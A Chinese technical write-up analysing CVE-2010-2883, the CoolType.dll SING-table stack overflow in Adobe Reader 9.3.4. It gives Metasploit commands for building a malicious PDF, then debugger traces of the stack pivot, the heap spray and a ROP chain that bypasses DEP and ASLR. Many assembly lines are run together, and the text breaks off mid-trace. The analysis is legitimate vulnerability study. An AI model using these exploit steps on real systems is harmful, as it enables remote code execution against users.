CVE-2010-2883原理分析

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

可能是各位大佬都比较忙的缘故,在学习了网上各种前辈们的漏洞报告之后,总感觉叙述的不够详细,小白理解起来较为困难。因此秉承着前人栽树后人浇水的原则,我也想尝试写一篇个人认为较为详细的漏洞分析,但由于水平有限不足之处请谅解。并借此记录下近日的学习成果。望各位不吝赐教!

漏洞信息

漏洞编号: CVE-2010-2883

复现环境: 

操作系统Windows XP SP3
虚拟机Vmware 15 Pro
漏洞软件Adobe Reader 9.3.4

漏洞简介: 在 Adobe Reader 和 Acrobat 9.4 之前的 9.x 版本中用于实现 CoolType(清晰显示文本的字体还原技术) 技术的库 CoolType.dll 中在解析 TrueType 字体文件中的 SING 表的 uniqueName 字段时调用的 strcat 函数未检查长度导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的 SmartINdependent Glyphlets (SING) 表修改内存数据从而执行任意代码。

定位漏洞

既然我们已经知道了产生漏洞的地方在于 CoolType.dll,因此这里采用 IDA 直接静态分析。在 Adobe Reader 9.3.4 的安装目录下找到 CoolType.dll 动态链接库,用 IDA 载入。借助字符串来定位,在 Strings 窗口 (Shift+F12) 中搜索 (Ctrl+F)SING 关键词得到如下信息

.rdata:0819DB4C aSing           db 'SING',0             ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C                                         ; sub_803DCF9+7B↑o ...
.rdata:0819DB51                 align 4

选中 aSing 借助 IDA 强大的交叉引用功能 (Ctrl+X),找出所有引用了 aSing 的地方。这里定位到 0x0803DD74 的位置

.text:0803DD74                 push    offset aSing    
.text:0803DD79                 push    edi
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C] 
.text:0803DD7D                 call    sub_8021B06      
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD85 ;   } // starts at 803DD53.text:0803DD87 ;   try {
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2.text:0803DD8B     
            jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:     ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0.text:0803DDAB                 
call    strcat

可以注意到在地址 0x0803DDAB 处调用了 strcat 函数。先来看下 strcat 的函数原型

char *strcat(char *dest, const char *src);

strcat 会将参数 src 字符串复制到参数 dest 所指的字符串尾部,dest 最后的结束字符 NULL 会被覆盖掉,并在连接后的字符串的尾部再增加一个 NULL。

往上追溯会发现这里的 strcat 函数的两个参数一个值是 ebp+108h+var_108 另一个值是 ebp+108h+var_12C,仔细观察会发现这里并没有去验证 src 的长度是否可能会超出 dest 数组定义的长度,因此如果我们有可能将超出 dest 数组定义长度的数据放入 src 中有可能可以在后方调用 strcat 函数时覆盖栈区从而实现代码执行。

为了更好的理解这里具体的逻辑,我们可以考虑动态调试。

样本生成

这里我们先借助 Metasploit 帮助我们生成一个样本用于动态调试 (之后会分析这个样本是如何构造出来的)。

msfconsole

首先在 Kali 中调用 msfconsole 唤出我们的 msf。

msf > search cve-2010-2883

搜索 cve-2010-2883 漏洞编号可以列出可用的 exploit。

这个 exploit 的位置在

/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb

为了便于等下动态调试识别一些关键数据块,我们考虑修改一下这个 exploit 的一处地方。

在这个 exploit 的 102 行处,将下面这句代码

sing << rand_text(0x254 - sing.length)

更改为

sing << "A" * (0x254 - sing.length)

这里的 rand_text 主要作用是取随机字符,目的是为了增强样本的随机性从而躲避一些检测。这里我们只做研究之用,所以不必随机。修改之后保存

msf > use exploit/windows/fileformat/adobe_cooltype_sing

使用这个 exp

msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec

然后设置有效载荷为 windows/exec 用来执行命令

msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe

为了方便查看漏洞执行效果,我们这里将载荷执行命令设置为启动计算器

msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf

最后设置一下生成的样本文件名

msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit

执行一下,样本就被生成在了 /root/.msf4/local/cve20102883.pdf

从 Kali 中拷贝出来放到我们的 Windows XP SP3 复现环境中。

动态分析

在复现环境中把 Adobe Reader 9.3.4 启动程序载入 OllyDbg。加载之后 F9 运行。此时 OllyDbg 显示当前调试的程序是运行状态,实际上这个时候 Adobe Reader 就已经加载了 CoolType.dll 文件了。通过刚刚的静态分析我们了解到 aSing 在地址 0x0803DD74 处被引用。因此我们可以先在 OD 中在这个地址处下一个断点。快捷键 Ctrl+G 输入 0x0803DD74 回车跳转到该地址 F2 下断点。

我们将刚才的样本拖入到 Adobe Reader 中。程序就会停在刚才下的断点上面。

F7 单步到

0803DD7A    8D4D DC         lea ecx,dword ptr ss:[ebp-0x24]

执行这句指令之后我们来看看 ecx 到底存了什么。此时的 ecx = 0x0012E4B4,首先猜测这是一个指针地址,定位到数据区域之后,取出前 32 位的十六进制。

0012E4B4 F4 41 6D 04

由于在 X86 架构下是小端字节序,因此我们将数据排列成 0x046D41F4。这应该就是 ecx 指针所指向的地址,定位到数据区域。可以看到如下数据

046D41F4  00 01 00 00 00 11 01 00  .....
046D41FC  00 04 00 10 4F 53 2F 32  ..OS/2
046D4204  B4 5F F4 63 00 00 EB 70  確鬰.. 雙
046D420C  00 00 00 56 50 43 4C 54  ...VPCLT
046D4214  D1 8A 5E 97 00 00 EB C8  褗^?. 肴
046D421C  00 00 00 36 63 6D 61 70  ...6cmap
046D4224  A4 C3 E8 A0 00 00 B1 6C  っ锠.. 眑

在分析这段数据之前我们先来看看 TrueType 字体格式标准文档里是怎么说的。

在 TrueType 字体文件中,从 0 字节偏移的位置开始处有一个表目录。且这个表目录的第一个字段是名为 sfnt version 是用来表明所用 ttf 格式版本的字段。在文档中清楚的标注了,对于 1.0 版本的 TTF 字体文件开头要用 0×00010000 来表示版本。回到我们刚才 0x046D41F4 位置处的数据,会发现开头正好是 0×00010000,这就证明了 ecx 保存的是一个指向 ttf 对象的指针地址并且在这里应该是作为 this 指针。

分析到这里,继续我们的动态调试。接下来遇到了一个 call 指令,意味着即将调用一个函数。在调用函数前我们不妨先看看这个函数传入了哪些参数。

0803DD74    68 4CDB1908     push CoolType.0819DB4C      ; ASCII "SING"0803DD79    57              push edi

很明显它将 SING 字符串当作参数了。这里我们单步 F8 不进入 call 函数内部。

0803DD7D    E8 843DFEFF     call CoolType.08021B060803DD82    8B45 DC         mov eax,dword ptr ss:[ebp-0x24]

来看看这里的 eax 变成了什么。

eax = 0x046BE598

数据窗口跟随就会发现

046BE598  00 00 01 00 01 0E 00 01  ....
046BE5A0  00 00 00 00 00 00 00 3A  .......:
046BE5A8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5B0  14 A7 82 4A 0C 0C 0C 0C  J....
046BE5B8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5C0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5C8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5D0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5D8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5E0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5E8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5F0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE5F8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE600  41 41 41 41 41 41 41 41  AAAAAAAA
046BE608  41 41 41 41 41 41 41 41  AAAAAAAA
046BE610  41 41 41 41 41 41 41 41  AAAAAAAA
046BE618  41 41 41 41 41 41 41 41  AAAAAAAA
046BE620  41 41 41 41 41 41 41 41  AAAAAAAA
046BE628  41 41 41 41 41 41 41 41  AAAAAAAA
046BE630  41 41 41 41 41 41 41 41  AAAAAAAA
046BE638  41 41 41 41 41 41 41 41  AAAAAAAA
046BE640  41 41 41 41 41 41 41 41  AAAAAAAA
046BE648  41 41 41 41 41 41 41 41  AAAAAAAA
046BE650  41 41 41 41 41 41 41 41  AAAAAAAA
046BE658  41 41 41 41 41 41 41 41  AAAAAAAA
046BE660  41 41 41 41 41 41 41 41  AAAAAAAA
046BE668  41 41 41 41 41 41 41 41  AAAAAAAA
046BE670  41 41 41 41 41 41 41 41  AAAAAAAA
046BE678  41 41 41 41 41 41 41 41  AAAAAAAA
046BE680  41 41 41 41 41 41 41 41  AAAAAAAA
046BE688  41 41 41 41 41 41 41 41  AAAAAAAA
046BE690  41 41 41 41 41 41 41 41  AAAAAAAA
046BE698  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6A0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6A8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6B0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6B8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6C0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6C8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6D0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6D8  C6 08 8A 4A 41 41 41 41  ? 奐 AAAA
046BE6E0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6E8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6F0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE6F8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE700  41 41 41 41 41 41 41 41  AAAAAAAA
046BE708  41 41 41 41 41 41 41 41  AAAAAAAA
046BE710  41 41 41 41 41 41 41 41  AAAAAAAA
046BE718  41 41 41 41 41 41 41 41  AAAAAAAA
046BE720  41 41 41 41 41 41 41 41  AAAAAAAA
046BE728  41 41 41 41 41 41 41 41  AAAAAAAA
046BE730  41 41 41 41 41 41 41 41  AAAAAAAA
046BE738  41 41 41 41 41 41 41 41  AAAAAAAA
046BE740  41 41 41 41 41 41 41 41  AAAAAAAA
046BE748  41 41 41 41 41 41 41 41  AAAAAAAA
046BE750  41 41 41 41 41 41 41 41  AAAAAAAA
046BE758  41 41 41 41 41 41 41 41  AAAAAAAA
046BE760  41 41 41 41 41 41 41 41  AAAAAAAA
046BE768  41 41 41 41 41 41 41 41  AAAAAAAA
046BE770  41 41 41 41 41 41 41 41  AAAAAAAA
046BE778  41 41 41 41 41 41 41 41  AAAAAAAA
046BE780  41 41 41 41 41 41 41 41  AAAAAAAA
046BE788  41 41 41 41 41 41 41 41  AAAAAAAA
046BE790  41 41 41 41 41 41 41 41  AAAAAAAA
046BE798  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7A0  38 CB 80 4A 41 41 41 41  8 藔 JAAAA
046BE7A8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7B0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7B8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7C0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7C8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7D0  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7D8  41 41 41 41 41 41 41 41  AAAAAAAA
046BE7E0  41 41 41 41 6C           AAAAl

这里大量的 A 原本都是随机字符,由于刚才我们修改了 exploit 的代码因此使得这里的数据块更容易辨认。实际上这些数据都是样本中 SING 表里构造好的恶意数据。

0803DD74    68 4CDB1908     push CoolType.0819DB4C   ; ASCII "SING"
0803DD79    57               push edi0803DD7A    8D4D DC         lea ecx,dword ptr ss:
[ebp-0x24]0803DD7D    E8 843DFEFF     call CoolType.08021B060803DD82    8B45 DC         mov eax,
dword ptr ss:[ebp-0x24]

因此总结一下,以上的指令主要就是将 SING 表的 tag 名传入到 08021B06 函数中通过表目录来获取到 SING 表的入口地址,而目前 eax 的值 0x046BE598 即是 SING 表的入口地址。分析 SING 表的这些数据,我们就能知道样本到底做了些什么。

继续往下动态调试,会发现关键的溢出点。

0803DDA2    50              push eax0803DDA3    8D45 00         lea eax,dword ptr ss:[ebp]0803DDA6    
50              push eax0803DDA7    C645 00 00      mov byte ptr ss:[ebp],0x00803DDAB    
E8 483D1300     call <jmp.&MSVCR80.strcat>

第一个 pusheax 将刚刚获取到的 SING 表入口地址压入栈区。第二个 pusheax 获取了当前栈区的 ebp 地址即要连接字符串的目的地址。我们单步过 strcat 之后,查看一下 ebp 开始的栈区数据。

0012E4D8   41414141
0012E4DC   41414141
0012E4E0   4A82A714  icucnv36.4A82A7140012E4E4   0C0C0C0C0012E4E8   41414141
0012E4EC   41414141
0012E4F0   41414141
0012E4F4   41414141
0012E4F8   41414141
0012E4FC   41414141
0012E500   41414141
0012E504   41414141
0012E508   41414141
0012E50C   41414141
0012E510   41414141
0012E514   41414141
0012E518   41414141
0012E51C   41414141
0012E520   41414141
0012E524   41414141
0012E528   41414141
0012E52C   41414141
0012E530   41414141
0012E534   41414141
0012E538   41414141
0012E53C   41414141
0012E540   41414141
0012E544   41414141
0012E548   41414141
0012E54C   41414141
0012E550   41414141
0012E554   41414141
0012E558   41414141
0012E55C   41414141
0012E560   41414141
0012E564   41414141
0012E568   41414141
0012E56C   41414141
0012E570   41414141
0012E574   41414141
0012E578   41414141
0012E57C   41414141
0012E580   41414141
0012E584   41414141
0012E588   41414141
0012E58C   41414141
0012E590   41414141
0012E594   41414141
0012E598   41414141
0012E59C   41414141
0012E5A0   41414141
0012E5A4   41414141
0012E5A8   41414141
0012E5AC   41414141
0012E5B0   41414141
0012E5B4   41414141
0012E5B8   41414141
0012E5BC   41414141
0012E5C0   41414141
0012E5C4   41414141
0012E5C8   41414141
0012E5CC   41414141
0012E5D0   41414141
0012E5D4   41414141
0012E5D8   41414141
0012E5DC   41414141
0012E5E0   41414141
0012E5E4   41414141
0012E5E8   41414141
0012E5EC   41414141
0012E5F0   41414141
0012E5F4   41414141
0012E5F8   41414141
0012E5FC   41414141
0012E600   41414141
0012E604   41414141
0012E608   4A8A08C6  icucnv36.4A8A08C60012E60C   41414141
0012E610   41414141
0012E614   41414141
0012E618   41414141
0012E61C   41414141
0012E620   41414141
0012E624   41414141
0012E628   41414141
0012E62C   41414141
0012E630   41414141
0012E634   41414141
0012E638   41414141
0012E63C   41414141
0012E640   41414141
0012E644   41414141
0012E648   41414141
0012E64C   41414141
0012E650   41414141
0012E654   41414141
0012E658   41414141
0012E65C   41414141
0012E660   41414141
0012E664   41414141
0012E668   41414141
0012E66C   41414141
0012E670   41414141
0012E674   41414141
0012E678   41414141
0012E67C   41414141
0012E680   41414141
0012E684   41414141
0012E688   41414141
0012E68C   41414141
0012E690   41414141
0012E694   41414141
0012E698   41414141
0012E69C   41414141
0012E6A0   41414141
0012E6A4   41414141
0012E6A8   41414141
0012E6AC   41414141
0012E6B0   41414141
0012E6B4   41414141
0012E6B8   41414141
0012E6BC   41414141
0012E6C0   41414141
0012E6C4   41414141
0012E6C8   41414141
0012E6CC   41414141
0012E6D0   4A80CB38  返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C490012E6D4   41414141
0012E6D8   41414141
0012E6DC   41414141
0012E6E0   41414141
0012E6E4   41414141
0012E6E8   41414141
0012E6EC   41414141
0012E6F0   41414141
0012E6F4   41414141
0012E6F8   41414141
0012E6FC   41414141
0012E700   41414141
0012E704   41414141
0012E708   41414141
0012E70C   41414141  指向下一个 SEH 记录的指针
0012E710   41414141  SE 处理程序
0012E714   0000006C

此时栈溢出已经发生,栈区数据已经被修改成了 SING 表中构造的恶意数据 (实际上是从 uniqueName 字段开始的数据)。

继续往下分析,我们希望了解程序到底是怎么样去读取栈区数据的。

0808B308    FF10            call dword ptr ds:[eax]

执行到 0x0808B308 时,我们发现了一个很有意思的地方。即调用了 [eax] 地址指向的函数。此时的 eax = 0012E6D0,这正好处于我们刚才覆盖的栈区数据范围内。

且 [eax]= 0x4A80CB38。

4A80CB38    81C5 94070000   add ebp,0x7944A80CB3E    C9              leave  (mov esp,ebp  
pop ebp)4A80CB3F    C3              retn

首先调整了 ebp。原本的 ebp = 0x0012DD48  ebp+0×794 = 0x0012E4DC

重新将 ebp 调整进了覆盖的栈区数据范围内。接下来执行的 leave,修改了 esp,原本的 esp = 0x0012DD24   esp = ebp = 0x0012E4DC  [esp] = 0×41414141 并且弹栈之后

ebp = 0×41414141

最后 retn 时,esp = 0x0012E4E0  [esp] = 0x4A82A714 因此接下来 EIP = 0x4A82A714

4A82A714    5C              pop esp                  ; 0C0C0C0C4A82A715    C3              
retn

这里原本的 esp= 0x0012E4E4 [esp] = 0x0C0C0C0C

pop esp 之后 esp = 0x0C0C0C0C 

0C0C0C08   414141410C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10   4A8A0000  ASCII "UTF-32"0C0C0C14   4A802196  icucnv36.4A802196
0C0C0C18   4A801F90  icucnv36.4A801F900C0C0C1C   4A84903C  <&KERNEL32.CreateFileA>
0C0C0C20   4A80B692  icucnv36.4A80B692
0C0C0C24   4A801064  icucnv36.4A801064
0C0C0C28   4A8522C8  ASCII "iso88591"0C0C0C2C   10000000  sqlite.100000000C0C0C30   000000000C0C0C34   
000000000C0C0C38   000000020C0C0C3C   000001020C0C0C40   000000000C0C0C44   4A8063A5  icucnv36.4A8063A5
0C0C0C48   4A801064  icucnv36.4A801064
0C0C0C4C   4A842DB2  icucnv36.4A842DB2
0C0C0C50   4A802AB1  icucnv36.4A802AB1
0C0C0C54   00000008
0C0C0C58   4A80A8A6  icucnv36.4A80A8A6
0C0C0C5C   4A801F90  icucnv36.4A801F900C0C0C60   4A849038  <&KERNEL32.CreateFileMappingA>
0C0C0C64   4A80B692  icucnv36.4A80B692
0C0C0C68   4A801064  icucnv36.4A801064
0C0C0C6C   FFFFFFFF
0C0C0C70   000000000C0C0C74   000000400C0C0C78   000000000C0C0C7C   00010000  UNICODE "=::=::\"
0C0C0C80   00000000
0C0C0C84   4A8063A5  icucnv36.4A8063A5
0C0C0C88   4A801064  icucnv36.4A801064
0C0C0C8C   4A842DB2  icucnv36.4A842DB2
0C0C0C90   4A802AB1  icucnv36.4A802AB1
0C0C0C94   00000008
0C0C0C98   4A80A8A6  icucnv36.4A80A8A6
0C0C0C9C   4A801F90  icucnv36.4A801F90
0C0C0CA0   4A849030  <&KERNEL32.MapViewOfFile>
0C0C0CA4   4A80B692  icucnv36.4A80B692
0C0C0CA8   4A801064  icucnv36.4A801064
0C0C0CAC   FFFFFFFF
0C0C0CB0   00000022
0C0C0CB4   00000000
0C0C0CB8   00000000
0C0C0CBC   00010000  UNICODE "=::=::\"
0C0C0CC0   4A8063A5  icucnv36.4A8063A5
0C0C0CC4   4A8A0004  ASCII "32"
0C0C0CC8   4A802196  icucnv36.4A802196
0C0C0CCC   4A8063A5  icucnv36.4A8063A5
0C0C0CD0   4A801064  icucnv36.4A801064
0C0C0CD4   4A842DB2  icucnv36.4A842DB2
0C0C0CD8   4A802AB1  icucnv36.4A802AB1
0C0C0CDC   00000030
0C0C0CE0   4A80A8A6  icucnv36.4A80A8A6
0C0C0CE4   4A801F90  icucnv36.4A801F90
0C0C0CE8   4A8A0004  ASCII "32"
0C0C0CEC   4A80A7D8  返回到 icucnv36.4A80A7D8 来自 MSVCR80.__timezone
0C0C0CF0   4A8063A5  icucnv36.4A8063A5
0C0C0CF4   4A801064  icucnv36.4A801064
0C0C0CF8   4A842DB2  icucnv36.4A842DB2
0C0C0CFC   4A802AB1  icucnv36.4A802AB1
0C0C0D00   00000020
0C0C0D04   4A80A8A6  icucnv36.4A80A8A6
0C0C0D08   4A8063A5  icucnv36.4A8063A5
0C0C0D0C   4A801064  icucnv36.4A801064
0C0C0D10   4A80AEDC  icucnv36.4A80AEDC
0C0C0D14   4A801F90  icucnv36.4A801F90
0C0C0D18   00000034
0C0C0D1C   4A80D585  icucnv36.4A80D585
0C0C0D20   4A8063A5  icucnv36.4A8063A5
0C0C0D24   4A801064  icucnv36.4A801064
0C0C0D28   4A842DB2  icucnv36.4A842DB2
0C0C0D2C   4A802AB1  icucnv36.4A802AB1
0C0C0D30   0000000A
0C0C0D34   4A80A8A6  icucnv36.4A80A8A6
0C0C0D38   4A801F90  icucnv36.4A801F90
0C0C0D3C   4A849170  <&MSVCR80.memcpy>
0C0C0D40   4A80B692  icucnv36.4A80B692
0C0C0D44   FFFFFFFF
0C0C0D48   FFFFFFFF
0C0C0D4C   FFFFFFFF
0C0C0D50   00001000

这里又到了一个关键的地方。看到 0x0C0C0C0C 我们很自然的会想到 HeapSpary 技术。在这个样本中确实利用到了堆喷射的技术,借助 PDF 本身支持执行 JS 的特性,将 shellcode 借助 JS 写入内存中。实际上这里也可以不借助堆喷射来实现任意代码执行,但是这样的话就会增大 ROP 链的构造难度,因此选择利用堆喷射的方法来写入 shellcode 是一种非常巧妙的做法。

仔细观察可以发现接下来的 ROP 链调用的都是 icucnv36.dll 这个库中的地址,原因在于这个库是没有开启 ASLR 保护的。还有需要说明的一点是,之所以要借助堆喷射技术来执行代码的原因是为了绕过 windows 环境下的 DEP 保护。

继续动态分析。此时即将执行 retn,而 esp 指向的地址是 0x0c0c0c0c,即

0C0C0C0C   4A8063A5  icucnv36.4A8063A5

因此接下来执行的是

4A8063A5    59            pop ecx        ;icucnv36.4A8A00004A8063A6    C3            retn

ecx =0x4A8A0000  [ecx] =「UTF-32」

4A802196    8901            mov dword ptr ds:[ecx],eax4A802198    C3              retn

这里借原本存「UTF-32」字符串的地方保存 eax(0x0012E6D0) 的值

4A801F90    58             pop eax        ;<&KERNEL32.CreateFileA>
4A801F91    C3             retn

这里 eax 指向了 CreateFileA 函数用于创建文件。即 eax = 0x4A84903C

4A80B692  - FF20            jmp dword ptr ds:[eax]     ; kernel32.CreateFileA

这里直接跳转到 eax 保存的指针所指向的地址 (0x7C801A28) 处

7C801A28 >  8BFF            mov edi,edi
7C801A2A    55              push ebp
7C801A2B    8BEC            mov ebp,esp
7C801A2D    FF75 08         push dword ptr ss:[ebp+0x8]
7C801A30    E8 CFC60000     call kernel32.
7C80E1047C801A35    85C0            test eax,eax
7C801A37    74 1E           je Xkernel32.
7C801A577C801A39    FF75 20         push dword ptr ss:[ebp+0x20]
7C801A3C    FF75 1C         push dword ptr ss:[ebp+0x1C]
7C801A3F    FF75 18         push dword ptr ss:[ebp+0x18]
7C801A42    FF75 14         push dword ptr ss:[ebp+0x14]
7C801A45    FF75 10         push dword ptr ss:[ebp+0x10]
7C801A48    FF75 0C         push dword ptr ss:[ebp+0xC]
7C801A4B    FF70 04         push dword ptr ds:[eax+0x4]
7C801A4E    E8 9DED0000     call kernel32.CreateFileW
7C801A53    5D              pop ebp
7C801A54    C2 1C00         retn 0x1C

这里应该是 CreateFileA 的实现逻辑,我们直接查看栈区数据

0C0C0C24   4A801064  /CALL 到 CreateFileA0C0C0C28   
4A8522C8  |FileName = "iso88591"0C0C0C2C  
10000000  |Access = GENERIC_ALL0C0C0C30   
00000000  |ShareMode = 00C0C0C34   
00000000  |pSecurity = NULL0C0C0C38   
00000002  |Mode = CREATE_ALWAYS0C0C0C3C   
00000102  |Attributes = HIDDEN|TEMPORARY0C0C0C40   
00000000  \hTemplateFile = NULL

这里都是 CreateFileA 的参数,来看看 CreateFileA 官方文档给出的结构

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

lpFileName 用于指定被创建文件的文件名。

dwDesiredAccess 用于指定访问权限一般都是读、写之类的。这里的 GENERIC_ALL 指的是采用所有可能的访问权限。

dwShareMode 用于指定请求的文件或设备的共享模式,这里指定的 0 代表了阻止其他进程在请求删除,读取或写入访问权限时打开文件或设备。

lpSecurityAttributes 用于设置安全描述符和子进程是否可继承,这个属性可为 NULL,这里用的就是 NULL。

dwCreationDisposition 设置对文件执行的操作。这里的 CREATE_ALWAYS 代表总是会创建文件,即使目标文件已存在也会覆盖它。

dw FlagsAndAttributes 设置文件或设备属性和标志,这里给的值是 FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY 代表该文件用于临时存储。

hTemplateFile 设置具有 GENERIC_READ 访问权限的模板文件的有效句柄。这个属性这里也没用到直接指定 NULL。

总之这里创建了一个临时文件,文件名是 iso88591。可以在当前样本 pdf 同目录下找到。

4A801064    C3              retn

这里跳转到 0x4A8063A5(icucnv36.4A8063A5)

4A8063A5    59              pop ecx        ; icucnv36.4A8010644A8063A6    C3              
retn

ecx = 0x4A801064

4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn

这里 eax =0x0000031C edi = 0x0012E718

xchg 指令交换了两个寄存器的值 eax = 0x0012E718 edi = 0x0000031C

4A802AB1    5B              pop ebx4A802AB2    C3              retn

继续单步,到这里 ebx = 0×00000008

4A80A8A6    213C5C         and dword ptr ss:[esp+ebx*2],edi
4A80A8A9    75 03           jnz Xicucnv36.
4A80A8AE4A80A8AB    B0 01           mov al,0x1
4A80A8AD    C3              retn
4A80A8AE    3C 2F           cmp al,0x2F
4A80A8B0  ^ 74 F9           je Xicucnv36.
4A80A8AB4A80A8B2    3C 41           cmp al,0x
414A80A8B4    7C 04           jl Xicucnv36.
4A80A8BA4A80A8B6    3C 5A           cmp al,0x5A
4A80A8B8    7E 08           jle Xicucnv36.
4A80A8C24A80A8BA    3C 61           cmp al,0x61
4A80A8BC    7C 0A           jl Xicucnv36.
4A80A8C84A80A8BE    3C 7A           cmp al,0x7A
4A80A8C0    7F 06           jg Xicucnv36
.4A80A8C84A80A8C2    8079 01 3A      cmp byte ptr ds:[ecx+0x1],0x3A
4A80A8C6  ^ 74 E3           je Xicucnv36.
4A80A8AB4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn

这里指向了一个函数的实现代码块。似乎做了斜杠和字母小写的检查。

4A801F90    58              pop eax    ;<&KERNEL32.CreateFileMappingA>
4A801F91    C3              retn

这里让 eax 指向了一个 CreateFileMappingA 函数

4A80B692  - FF20       jmp dword ptr ds:[eax]      ; kernel32.CreateFileMappingA

这里利用同样的方法调转到 [eax] 所在的函数 CreateFileMappingA 处,该函数用于创建一个文件映射内核对象。

7C8094EE >  8BFF            mov edi,edi
7C8094F0    55              push ebp
7C8094F1    8BEC            mov ebp,esp
7C8094F3    51              push ecx
7C8094F4    51              push ecx
7C8094F5    56              push esi
7C8094F6    33F6            xor esi,esi
7C8094F8    3975 1C         cmp dword ptr ss:[ebp+0x1C],esi
7C8094FB    74 31           je Xkernel32.
7C80952E7C8094FD    64:A1 18000000  mov eax,dword ptr fs:[0x18]
7C809503    FF75 1C         push dword ptr ss:[ebp+0x1C]
7C809506    8DB0 F80B0000   lea esi,dword ptr ds:[eax+0xBF8]
7C80950C    8D45 F8         lea eax,dword ptr ss:[ebp-0x8]
7C80950F    50              push eax
7C809510    FF15 8C10807C   call dword ptr ds:[<&ntdll.RtlInitAnsiSt>; ntdll.RtlInitAnsiString
7C809516    6A 00           push 0x0
7C809518    8D45 F8         lea eax,dword ptr ss:[ebp-0x8]
7C80951B    50              push eax7C80951C    56              push esi
7C80951D    FF15 8810807C   call dword ptr ds:[<&ntdll.RtlAnsiString>; ntdll.RtlAnsiStringToUnicodeString
7C809523    85C0            test eax,eax
7C809525    0F8C B5390300   jl kernel32.
7C83CEE07C80952B    8B76 04         mov esi,dword ptr ds:[esi+0x4]
7C80952E    56              push esi
7C80952F    FF75 18         push dword ptr ss:[ebp+0x18]
7C809532    FF75 14         push dword ptr ss:[ebp+0x14]
7C809535    FF75 10         push dword ptr ss:[ebp+0x10]
7C809538    FF75 0C         push dword ptr ss:[ebp+0xC]
7C80953B    FF75 08         push dword ptr ss:[ebp+0x8]
7C80953E    E8 DDFEFFFF     call kernel32.CreateFileMappingW
7C809543    5E              pop esi
7C809544    C9              leave
7C809545    C2 1800         retn 0x18

函数参数在栈中的分布

0C0C0C68   4A801064  /CALL 到 CreateFileMappingA0C0C0C6C   0000031C  |hFile = 0000031C0C0C0C70   00000000  
|pSecurity = NULL0C0C0C74   00000040  |Protection = PAGE_EXECUTE_READWRITE0C0C0C78   00000000  
|MaximumSizeHigh = 00C0C0C7C   00010000  |MaximumSizeLow = 100000C0C0C80   00000000  \MapName = NULL

继续调试跳转到

4A8063A5    59              pop ecx     ; icucnv36.4A8010644A8063A6    C3              
retn
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn

这里的 eax =0×00000320 edi = 0x0000031C xchg 交换两个寄存器的值

4A802AB1    5B              pop ebx4A802AB2    C3              retn

这里再一次跳转到了 0x4A80A8A6

4A801F90    58              pop eax      ; <&KERNEL32.MapViewOfFile>
4A801F91    C3              retn

这里 eax 指向的是 MapViewOfFile 函数入口地址

eax = 0x4A849030

4A80B692  - FF20     jmp dword ptr ds:[eax]           ; kernel32.MapViewOfFile

同样的原理借助 jmp dword ptr ds:[eax] 跳转到 eax 指向的地址。

7C80B995 >  8BFF            mov edi,edi
7C80B997    55              push ebp
7C80B998    8BEC            mov ebp,esp
7C80B99A    6A 00           push 0x0
7C80B99C    FF75 18         push dword ptr ss:[ebp+0x18]
7C80B99F    FF75 14         push dword ptr ss:[ebp+0x14]
7C80B9A2    FF75 10         push dword ptr ss:[ebp+0x10]
